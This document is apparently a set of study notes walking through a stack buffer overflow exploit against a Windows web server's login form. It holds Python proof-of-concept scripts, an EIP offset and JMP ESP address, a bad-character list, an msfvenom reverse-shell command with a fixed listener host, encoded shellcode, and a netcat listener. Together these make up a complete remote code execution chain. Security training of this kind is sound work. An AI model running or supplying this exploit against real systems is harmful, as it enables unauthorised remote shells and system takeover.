-
First have a PoC ready. Should look like below. Ensure this can overwrite EIP (should be 41414141). Open WinDBG and attach to the process. Run the code on Kali.
#!/usr/bin/python import socket import sys try: server = "192.168.1.1" # host port = 80 size = 800 inputBuffer = b"A" * size content = b"username=" + inputBuffer + b"&password=A" buffer = b"POST /login HTTP/1.1\r\n" buffer += b"Host: " + server.encode() + b"\r\n" buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += b"Accept-Language: en-US,en;q=0.5\r\n" buffer += b"Referer: http://10.11.0.22/login\r\n" buffer += b"Connection: close\r\n" buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" buffer += b"\r\n" buffer += content print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close() print("Done!") except socket.error: print("Could not connect!") - Run
msf-pattern_create -l 800where 800 should be longer or same than the crash length to identify where it crash. Comment the previous inputBuffer in the Python PoC and use this instead. - Check what is in EIP in WinDBG, and then use
msf-pattern_offset -l 800 -q EIPVALUEto get the offset. -
To ensure that the address is correct, can do something like this if the EIP offset is 780:
... filler = b"A" * 780 # EIP Offset eip = b"B" * 4 # Value that should be for EIP Address buf = b"C" * 16 # Check to see where this goes inputBuffer = filler + eip + buf ... - If the EIP address is now 42424242, then the offset address is correct.
- In WinDBG, use
rto check the registers (usually ESP address), then usedds esp L3anddds esp -10 L8to see if the ESP register points to Cs (and also check which set of C, it might not be the first). If yes it means we can use ESP to host shellcode. -
If only a few bytes of Cs are available there, need to ensure that it has enough space. Can use D this time to find out if have enough space for shellcode (800 to 1500 bytes will be sufficient).
#!/usr/bin/python import socket import sys try: server = sys.argv[1] port = 80 size = 800 filler = b"A" * 780 eip = b"B" * 4 offset = b"C" * 4 shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset)) inputBuffer = filler + eip + offset + shellcode content = b"username=" + inputBuffer + b"&password=A" ... - Run this again and should notice that the ESP now points correctly to D (44444444), and not any front or after. (Use
randdds esp - 8 L7). - To check how much space you have, find where does it end. Do a trial and error (
dds esp+100 L8,dds esp+200 L8,… in this case it isdds esp+2c0 L4). Use that line that no longer has D (44444444) to minus the ESP start address with? 00567724 - 0056745c. -
Check for bad characters by replacing D with all hex except 0x00:
#!/usr/bin/python import socket import sys try: server = sys.argv[1] port = 80 size = 800 filler = b"A" * 780 eip = b"B" * 4 offset = b"C" * 4 badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") # bad chars: \x00, #shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset)) inputBuffer = filler + eip + offset + badchars ... - Now retrigger and check
db esp - 10 L20to see which characters are truncated or missing. Remove that specific character and try again. Do this until all bad characters are removed. - Next we need to find an address that points to ESP (cannot be pointing to the address number directly because stack address changes from time to time). Usually this can be done by finding a JMP ESP instruction. This address of instruction must be static, and also not have any bad characters.
- This can be done by using ProcessHacker. Launch as admin then locate the executable. Double click on it then Properties -> General -> Mitigation Policies will tell you if there are any protections like ASLR and DEP. If click on Modules tab can see the DLLs being loaded. From here need to find a DLL that has address range with no bad characters.
- In Kali, run
msf-nasm_shell, thenjmp espto get the instruction for JMP ESP (it is FFE4). - In WinDBG, run
lm m libspp, where libspp is the dll chosen just now, and you will get start and end address. Uses -b 10000000 10223000 0xff 0xe4(the first 2 is start and end address, and ff e4 is JMP ESP). It should reveal an address. Make sure the address doesnt have bad characters. Useu 10090c83to make sure the address is JMP ESP. -
Can now update the code to include this address (endian, so need reverse order):
#!/usr/bin/python import socket import sys try: server = sys.argv[1] port = 80 size = 800 filler = b"A" * 780 eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP offset = b"C" * 4 shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset)) inputBuffer = filler + eip + offset + shellcode content = b"username=" + inputBuffer + b"&password=A" ... - To ensure this is working correctly, use a breakpoint on the JMP ESP instruction (0x10090c83) by using
bp 10090c83.blto confirm it,gto continue execution then once it hits breakpoint, runtanddc eip L4to ensure EIP is overwritten with D. - Use msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=8888 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"with the -b being bad characters to generate shellcode. Ensure that the size is smaller than your shellcode available size. -
Add NOP slides so that the CPU will slide through the NOPs to reach shellcode. For Python3, remove the word bytearray and add b infront each line after shellcode:
... filler = b"A" * 780 eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP offset = b"C" * 4 nops = b"\x90" * 10 shellcode = bytearray( "\xdd\xc4\xba\x6d\xdc\x1e\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1" "\x52\x31\x56\x17\x83\xee\xfc\x03\x3b\xcf\xfc\x04\x3f\x07\x82" "\xe7\xbf\xd8\xe3\x6e\x5a\xe9\x23\x14\x2f\x5a\x94\x5e\x7d\x57" "\x5f\x32\x95\xec\x2d\x9b\x9a\x45\x9b\xfd\x95\x56\xb0\x3e\xb4" "\xd4\xcb\x12\x16\xe4\x03\x67\x57\x21\x79\x8a\x05\xfa\xf5\x39" "\xb9\x8f\x40\x82\x32\xc3\x45\x82\xa7\x94\x64\xa3\x76\xae\x3e" "\x63\x79\x63\x4b\x2a\x61\x60\x76\xe4\x1a\x52\x0c\xf7\xca\xaa" "\xed\x54\x33\x03\x1c\xa4\x74\xa4\xff\xd3\x8c\xd6\x82\xe3\x4b" "\xa4\x58\x61\x4f\x0e\x2a\xd1\xab\xae\xff\x84\x38\xbc\xb4\xc3" "\x66\xa1\x4b\x07\x1d\xdd\xc0\xa6\xf1\x57\x92\x8c\xd5\x3c\x40" "\xac\x4c\x99\x27\xd1\x8e\x42\x97\x77\xc5\x6f\xcc\x05\x84\xe7" "\x21\x24\x36\xf8\x2d\x3f\x45\xca\xf2\xeb\xc1\x66\x7a\x32\x16" "\x88\x51\x82\x88\x77\x5a\xf3\x81\xb3\x0e\xa3\xb9\x12\x2f\x28" "\x39\x9a\xfa\xff\x69\x34\x55\x40\xd9\xf4\x05\x28\x33\xfb\x7a" "\x48\x3c\xd1\x12\xe3\xc7\xb2\xdc\x5c\xb0\x3a\xb5\x9e\x3e\xba" "\xfe\x16\xd8\xd6\x10\x7f\x73\x4f\x88\xda\x0f\xee\x55\xf1\x6a" "\x30\xdd\xf6\x8b\xff\x16\x72\x9f\x68\xd7\xc9\xfd\x3f\xe8\xe7" "\x69\xa3\x7b\x6c\x69\xaa\x67\x3b\x3e\xfb\x56\x32\xaa\x11\xc0" "\xec\xc8\xeb\x94\xd7\x48\x30\x65\xd9\x51\xb5\xd1\xfd\x41\x03" "\xd9\xb9\x35\xdb\x8c\x17\xe3\x9d\x66\xd6\x5d\x74\xd4\xb0\x09" "\x01\x16\x03\x4f\x0e\x73\xf5\xaf\xbf\x2a\x40\xd0\x70\xbb\x44" "\xa9\x6c\x5b\xaa\x60\x35\x6b\xe1\x28\x1c\xe4\xac\xb9\x1c\x69" "\x4f\x14\x62\x94\xcc\x9c\x1b\x63\xcc\xd5\x1e\x2f\x4a\x06\x53" "\x20\x3f\x28\xc0\x41\x6a") shellcode+= "D" * (1500 - len(filler) - len(eip) - len(offset) - len(shellcode)) inputBuffer = filler + eip + offset + nops + shellcode ... - Run
sudo nc -lvp 8888on Kali, send the exploit code and you should receive shell.